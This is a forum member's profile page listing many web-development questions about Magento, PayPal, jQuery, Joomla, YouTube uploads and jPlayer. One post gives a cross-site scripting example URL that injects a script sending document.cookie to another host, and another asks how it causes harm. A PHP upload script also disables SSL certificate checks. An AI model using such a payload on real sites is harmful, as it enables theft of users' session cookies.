Jump to content

shah_ankitb

Members
  • Posts

    144
  • Joined

  • Last visited

Everything posted by shah_ankitb

  1. I'm using eCommerce. Once done payment it should be captured & after few days it should be processed or deducted from customers account. Example: If the customer pays using Paypal initial it would be "Authorize" & after (Max 21 days) that particular transaction is converted in to "Sale" means processed. Customers can pay using Credit Card. Can we achieve using Paypal or need to use another Payment Method? As per my knowledge: In Paypal SDK API you have to create that Payment Again & then Process. But I already have Transaction Id. So need to create payment again right?
  2. I have below code of jquery $("#slider").slider({min: 0,max: 1440,steps: 5,range: true,values: [ 0, 1440 ],slide: function (event, ui) { var $this = $(this),values = ui.values; var val0 = values[0], val1 = values[1], minutes0 = parseInt(val0 % 60, 10), hours0 = parseInt(val0 / 60 % 24, 10), minutes1 = parseInt(val1 % 60, 10), hours1 = parseInt(val1 / 60 % 24, 10); }}); In PHP i have time as 14:00, 15:30. So how to compare PHP time with jquery UI slider timings as i have 0-1440 range.
  3. Thanks. How to do that via mail?
  4. Dear Friends/Admin, I would like to change my display name. I followed http://w3schools.invisionzone.com/index.php?app=core&module=help&do=01&HID=4 But still not able to change display name. Please provide steps to change. Thanks
  5. Hello Friends, http://sea.taobao.com/ is e-Commerce giant in China. I have to integrate taobao products in Magento. Can anybody know how to import thousands of taobao products in Magento so that checkout process complete properly. Thanks, Ankit Shah
  6. Dear Friends, I'm a Newbie in Magento. Using latest version of magento community. I'm using one page checkout. I have enabled all the Shipping methods from the admin. I also put product weight. Country is set & selected proper. Still i'm getting this error. I want to enable all shipping methods.( UPS, DHL, FedEx.). I tried & googled more than 2 days but still no solution. Can anyone help me this out. I have to solve ASAP. Thanks.
  7. Agree It's cross-site scripting attack. But how it's going to harm? It's going to harm My PC, etc..??. I run this script & nothing happens.
  8. In a standalone web page (must be able to double click on a file and open a browser), write a function that displays the string form of a value in a particular number base.// function integerToString(value, numberBase)Note: Do not use built-in language features to accomplish the task.Do not trivialize the task by using pre-existing JS functions to solve the crux of the question, for example, Number.toString(numberBase).
  9. http://www.example.com/search?q=<script>object.src=”http://otherexample.com/code?data=”+document.cookie</script>
  10. Thank you sir for your answer
  11. You have given 2 special, extremely rugged MacBook Pros. You are in an office building that is 100 stories high.Using the fewest possible number of drops from windows in your office building, determine the highest floor you candrop a MacBook Pro from and have it survive: for example, they might be able to take the drop from the 30th floor, butnot the 31st. You can break both MacBook Pros in your search. State the worst number of drops needed and explain how you arrived at that answer. Friends can you help me out with this?
  12. Hello Friends, Few months ago i have domain abc.ca now we have redirected all urls from .ca to .com so url will be abc.com htaccess code as below RewriteEngine On RewriteCond %{HTTP_HOST} ^abc.ca$ [NC]RewriteRule ^(.*)$ http://www.abc.com/$1 [L,R=301] I don't know why google cache page still showing abc.ca in cached page instead of abc.com any one having idea? abc.ca domain is still open because we have old urls.
  13. Thanks for reply. But i think you are talking about other. http://stackoverflow.com/questions/5085599/how-to-load-balance-a-php-application I'm talking about this. Memcache & all that
  14. Hello Friends, Can anyone know how to do load balancing in PHP? It's server side or we can manage through PHP script also??
  15. Hello Friends,I have website say abc.com.I'm using virtuemart & virtual domain component.i have created subdomain & link with that virtuemart's category menu.now i have entertainment.abc.com.I have done some customizations in virtuemart router. Now the problem is google is crawling wrong URL'sIf link would behttp://entertainment.abc.com/movie-review.htmlThen google also crawlshttp://abc.com/entertainment/movie-review.htmlit's creating problem SEO point of view. we have used jRoute everywhere in portal.Can anyone pointed out in this issue? It would be great help for me.
  16. I'm using Joomla 2.5 & Virtuemart.I have website like yellow pages. I have to show records city wise.I have enabled SEO & enabled .htaccess.Currently my url ishttp://localhost/mywebsite/yellowpagesNow i want if i'm accessing from toronto then it should behttp://yellowpages.mywebsite.com/torontohow can i do this??
  17. I have to share the product title, product image and product description in Google plus.I have this code which only shares the URL but not the image and description. https://plus.google.com/share?url=<<Encoded URL>>;In Pinterest, I have a script which only shares one image. How can I pass multiple images in Pinterest? http://pinterest.com/pin/create/button/?url=<<Encoded URL>>&media=<<Encoded 1 IMAGE URL>>&description=<<Encoded Description>>
  18. I'm looking for functionality likehttp://toronto.flyerland.ca/new/flyers/view/91938/ON/0/0/0/0/highland-farms/1081/8//1361788197Image gallery with zoom in, zoom out, pan view, reset image.this is build in bootstrap.jsI'm looking for jQuery. So i'm combining http://coffeescripter.com/code/ad-gallery/#ad-image-0& jQuery Panzoom.But it won't work perfectly as i needed. I googled so much. But couldn't find right solution. I want jquery image gallery with zoom in out effect
  19. Hello Friends, Below is the URL through which i can upload upload single video on youtube.<removed> I want to multiple upload video at the time using drag & drop or multiple file upload. As i have obeserved when we upload video then on completion of that youtbe on back url gives video id. so we can see. Is it possible for multiple videos? Below is the script <?php$youtube_email = "a@a.com"; // Change this to your youtube sign in email.$youtube_password = "XXXXX"; // Change this to your youtube sign in password. $postdata = "Email=".$youtube_email."&Passwd=".$youtube_password."&service=youtube&source=Example";$curl = curl_init("https://www.google.com/youtube/accounts/ClientLogin");curl_setopt($curl, CURLOPT_HEADER, "Content-Type:application/x-www-form-urlencoded");curl_setopt($curl, CURLOPT_POST, 1);curl_setopt($curl, CURLOPT_POSTFIELDS, $postdata);curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);$response = curl_exec($curl);curl_close($curl);list($auth, $youtubeuser) = explode("\n", $response);list($authlabel, $authvalue) = array_map("trim", explode("=", $auth));//list($youtubeuserlabel, $youtubeuservalue) = array_map("trim", explode("=", $youtubeuser)); $youtube_video_title = "Example"; // This is the uploading video title.$youtube_video_description = "Example"; // This is the uploading video description.$youtube_video_category = "News"; // This is the uploading video category.$youtube_video_keywords = "example, video"; // This is the uploading video keywords. $data = '<?xml version="1.0"?> <entry xmlns="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" xmlns:yt="http://gdata.youtube.com/schemas/2007"> <media:group> <media:title type="plain">'.$youtube_video_title.'</media:title> <media:description type="plain">'.$youtube_video_description.'</media:description> <media:category scheme="http://gdata.youtube.com/schemas/2007/categories.cat">'.$youtube_video_category.'</media:category> <media:keywords>'.$youtube_video_keywords.'</media:keywords> </media:group> </entry>'; $key = "Your key"; // Get your key here: http://code.google.com/apis/youtube/dashboard/. $headers = array("Authorization: GoogleLogin auth=".$authvalue, "GData-Version: 2", "X-GData-Key: key=".$key, "Content-length: ".strlen($data), "Content-Type: application/atom+xml; charset=UTF-8"); $curl = curl_init("http://gdata.youtube.com/action/GetUploadToken");curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);curl_setopt($curl, CURLOPT_TIMEOUT, 10);curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($curl, CURLOPT_POST, 1);curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);curl_setopt($curl, CURLOPT_POSTFIELDS, $data);curl_setopt($curl, CURLOPT_REFERER, true);curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($curl, CURLOPT_HEADER, 0); $response = simplexml_load_string(curl_exec($curl));curl_close($curl);?><script type="text/javascript"> function checkForFile() { if (document.getElementById('file').value) { return true; } document.getElementById('errMsg').style.display = ''; return false; }</script> <?php$nexturl = "http://localhost/abc.php"; // This parameter specifies the URL to which YouTube will redirect the user's browser when the user uploads his video file.?> <form action="<?php echo($response->url); ?>?nexturl=<?php echo(urlencode($nexturl)); ?>" method="post" enctype="multipart/form-data" onsubmit="return checkForFile();"> <input id="file" type="file" name="file"/> <div id="errMsg" style="display:none;color:red"> You need to specify a file. </div> <input type="hidden" name="token" value="<?php echo($response->token); ?>"/> <input type="submit" value="go" /> </form>
  20. I'm using Firefox 13.0.1. In my local WAMP jPlayer video is playing perfectly.I'm using webm file. So it should work on live server firefox as well. But instead of firefox it works fine in Chrome. videoPlaylist = new jPlayerPlaylist({ jPlayer: "#jquery_jplayer_1", cssSelectorAncestor: "#jp_container_1" }, [{ webmv: "video.webm" }], { swfPath: "js", autoPlay: false, supplied: "webmv", wmode: "window", size: { width: "440px", height: "270px", cssClass: "jp-video-270p" } }); swf path is correct. Flash in installed on server. Because audio player works fine in firefox.Can anyone point what i'm missing?
  21. shah_ankitb

    Need Reviews

    Hello to all ASP Developers. Actually I am a PHP Developer. But I Find Some UseFul Link.I Didn't See Better Site as http://www.telerik.com For the Examples & Source Code Please Visit Below URL.They are also Provide Code In ASP. U can Check that.http://www.telerik.com/demos/aspnet/Contro.../DefaultCS.aspx I wish that this will help U.If they r providing code in PHP then it will also useful for me, but they don't providing. Any way go through this Amazing Site.
  22. I don't know anything about ASP but i am trying to help u because u din't get any answer.First Of All Check that On Change Event Of DropDown Box Function Is Called Or Not. Try to Supply Right Arguments.In the Written Function Check For the Value Ur Getting Or Not Which U Select.First Of All Does Not Define Any Text To <Visible="False">After the Selection Of Value U Can Do that In 'Default.aspx.cs'. In this File As per Selection Give Permissions of Visible 'False' or 'True'. Say For ExampleIf U Select From DropDown '2'TextBox1.Visible = true;TextBox2.Visible = true;TextBox3.Visible = true;TextBox4.Visible = true;Do as above. Might This Will Help U. Just Give U Hint to Sorted Out U'r Problem.
  23. .flv means (Flash Video File Format)But try to copy the source path & run in URL means copy 'http://s16.photobucket.com/albums/myvideo.flv' and paste in URLu can find that it is displaying 'Page Not Found'. So Always Write the RIGHT PATH.<embed src="http://s16.photobucket.com/albums/myvideo.flv" width="400" height="176" type="application/x-shockwave-flash" play="true" loop="true" menu="true"></embed> If u still can't get it then follow below URL: http://www.htmlcodetutorial.com/embeddedobjects/_EMBED.html
×
×
  • Create New...